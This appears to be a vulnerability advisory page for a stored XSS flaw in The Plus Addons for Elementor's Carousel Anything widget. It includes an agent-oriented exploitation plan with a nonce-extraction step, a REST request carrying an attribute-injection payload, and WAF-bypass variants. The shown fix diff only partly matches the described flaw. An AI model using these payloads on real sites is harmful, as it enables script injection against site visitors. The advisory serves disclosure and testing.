The Plus Addons for Elementor <= 6.4.15 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'carousel_direction' Parameter
Description
The Plus Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'carousel_direction' parameter of the Carousel Anything widget in versions up to, and including, 6.4.15 This is due to insufficient output escaping in the render() function, where the carousel_direction value is placed into an unquoted HTML attribute (dir=) allowing attribute injection despite the use of esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=6.4.15What Changed in the Fix
Changes introduced in v6.4.16
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-9243 ## 1. Vulnerability Summary **CVE-2026-9243** is a Stored Cross-Site Scripting (XSS) vulnerability in **The Plus Addons for Elementor** (versions <= 6.4.15). The vulnerability exists within the **Carousel Anything** widget. Specifically, the `render()` fu…
Show full research plan
Exploitation Research Plan: CVE-2026-9243
1. Vulnerability Summary
CVE-2026-9243 is a Stored Cross-Site Scripting (XSS) vulnerability in The Plus Addons for Elementor (versions <= 6.4.15). The vulnerability exists within the Carousel Anything widget. Specifically, the render() function in the widget's PHP class (likely located in modules/widgets/tp_carousel_anything.php, inferred) outputs the user-controlled carousel_direction setting into an unquoted HTML dir attribute.
While the developer utilized esc_attr() for the value, the lack of surrounding quotes in the HTML template allows an attacker to use a space character to break out of the dir attribute and inject new HTML attributes (Attribute Injection), leading to JavaScript execution.
2. Attack Vector Analysis
- Target Plugin: The Plus Addons for Elementor (slug:
the-plus-addons-for-elementor-page-builder) - Vulnerable Widget: Carousel Anything (internal name:
tp-carousel-anything) - Vulnerable Parameter:
carousel_direction - Authentication Level: Contributor+ (any user role with permission to edit posts/pages using Elementor).
- Preconditions: The plugin must be active, and the attacker must be able to save or update an Elementor-powered post.
3. Code Flow (Inferred)
- Input: A user with Contributor+ privileges edits a post via the Elementor builder.
- Setting: The user selects the Carousel Anything widget and modifies the "Direction" (which maps to the
carousel_directionsetting). - Storage: Elementor saves the widget configuration as a JSON-encoded string in the
_elementor_datapost meta. - Sink (PHP): When the page is rendered, the widget's
render()method is called.- It retrieves the setting:
$direction = $settings['carousel_direction']; - It echoes the wrapper:
echo '<div class="theplus-carousel-anything-wrapper" dir=' . esc_attr($direction) . ' ...>';(Note the missing quotes around thedirvalue).
- It retrieves the setting:
- Execution: Since the attribute is unquoted, a payload like
ltr onmouseover=alert(1)results in:<div class="theplus-carousel-anything-wrapper" dir=ltr onmouseover=alert(1) ...>
The browser interpretsonmouseoveras a valid event handler attribute.
4. Nonce Acquisition Strategy
Exploiting Elementor-based vulnerabilities requires an Elementor REST API nonce or the standard WordPress _wpnonce.
For Contributor+ Attackers:
- Create Page: The agent should first create a draft or post to use as the target.
wp post create --post_type=post --post_title="XSS Test" --post_status=draft --post_author=2 - Access Editor: Navigate to the Elementor editor for that post ID.
browser_navigate("http://localhost:8080/wp-admin/post.php?post=POST_ID&action=elementor") - Extract Nonce: Use
browser_evalto extract the REST API nonce from the Elementor configuration object.// JavaScript window.elementorConfig?.api?.nonce - Extract Rest URL:
// JavaScript window.elementorConfig?.api?.root
5. Exploitation Strategy
The goal is to update the _elementor_data for a post to include a tp-carousel-anything widget with a malicious carousel_direction.
Step 1: Payload Construction
The payload needs to be a valid JSON structure for Elementor. The key part is the settings object for the tp-carousel-anything widget.
Payload: ltr onfocus=alert(document.domain) autofocus
Step 2: HTTP Request (Simulating Elementor Save)
Use the http_request tool to send a POST request to the Elementor REST API.
- URL:
http://localhost:8080/wp-json/elementor/v1/pages/POST_ID - Method:
POST - Headers:
X-WP-Nonce:[Extracted Nonce]Content-Type:application/json
- Body:
Note: The{ "data": [ { "id": "random_id", "elType": "section", "elements": [ { "id": "random_id_2", "elType": "column", "elements": [ { "id": "vulnerable_widget", "elType": "widget", "widgetType": "tp-carousel-anything", "settings": { "carousel_direction": "ltr onmouseover=confirm(1) style=position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;" } } ] } ] } ] }styleattribute expansion ensures theonmouseoveris easily triggered by the user.
6. Test Data Setup
- Target User: Create a user with the
contributorrole. - Plugin Setup: Ensure "The Plus Addons for Elementor" is active.
- Elementor Setup: Ensure Elementor is active and allowed for the
postpost type.
7. Expected Results
- The REST API should return a
200 OKstatus with the updated post data. - When viewing the post (
/?p=POST_ID), the source code should contain:<div class="theplus-carousel-anything-wrapper" dir=ltr onmouseover=confirm(1) ...> - Moving the mouse over the page should trigger the
confirm(1)alert.
8. Verification Steps
- Check Database via WP-CLI:
Verify that the JSON string contains thewp post meta get POST_ID _elementor_dataonmouseoverpayload. - Inspect Output via CLI:
curl -s "http://localhost:8080/?p=POST_ID" | grep "onmouseover=confirm(1)"
9. Alternative Approaches
If the dir attribute is not the only unquoted attribute, check other parameters in the render() function of tp_carousel_anything.php.
- Parameter:
carousel_direction - Alternate Payload: If
onmouseoveris blocked by a WAF, tryonfocuswithautofocus:ltr onfocus=alert(1) autofocus - JSON Context: If the frontend JS (
plus-carousel-anything.js) parses this value from adata-resultattribute, the injection might also occur within that JSON-encoded attribute if it is also unquoted.
Refined Path Guess:
Check the-plus-addons-for-elementor-page-builder/modules/widgets/tp_carousel_anything.php for the string: dir=<?php echo esc_attr($settings['carousel_direction']); ?> (without quotes).
Summary
The Plus Addons for Elementor plugin (<= 6.4.15) is vulnerable to Stored Cross-Site Scripting via the 'carousel_direction' parameter in the Carousel Anything widget. Due to insufficient output escaping in the PHP render() function, the parameter value is placed into an unquoted HTML attribute (dir=), allowing authenticated attackers with Contributor-level access to perform attribute injection and execute arbitrary scripts.
Security Fix
@@ -57,7 +57,8 @@ $("#"+connection).find('.info-box-inner[data-slick-index="'+parseInt(nextSlide)+'"]').trigger("hover"); } - if ( $.isFunction($.fn.plus_infobox_connection) ) { + // F-12 fix: $.isFunction removed in jQuery 4. Use typeof. + if ( typeof $.fn.plus_infobox_connection === 'function' ) { plus_infobox_connection(parseInt(nextSlide),connection); } @@ -46,7 +46,7 @@ var data = $self[0].dataset; - parsedData = data && data.result ? JSON.parse(data.result) : ''; + const parsedData = data && data.result ? JSON.parse(data.result) : {}; var getDIrection = parsedData.carousel_direction, rtlVal = false;
Exploit Outline
The exploit targets the 'Carousel Anything' widget. An authenticated attacker with at least Contributor-level privileges can edit a post/page using the Elementor builder and add this widget. By modifying the 'Direction' setting (carousel_direction parameter), the attacker can inject a payload like 'ltr onmouseover=alert(1)'. Because the 'dir=' attribute in the generated HTML wrapper is unquoted, the space allows the browser to interpret 'onmouseover' as a new attribute. The payload is stored in the post's metadata and executes whenever a victim views the page and interacts with the carousel area.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.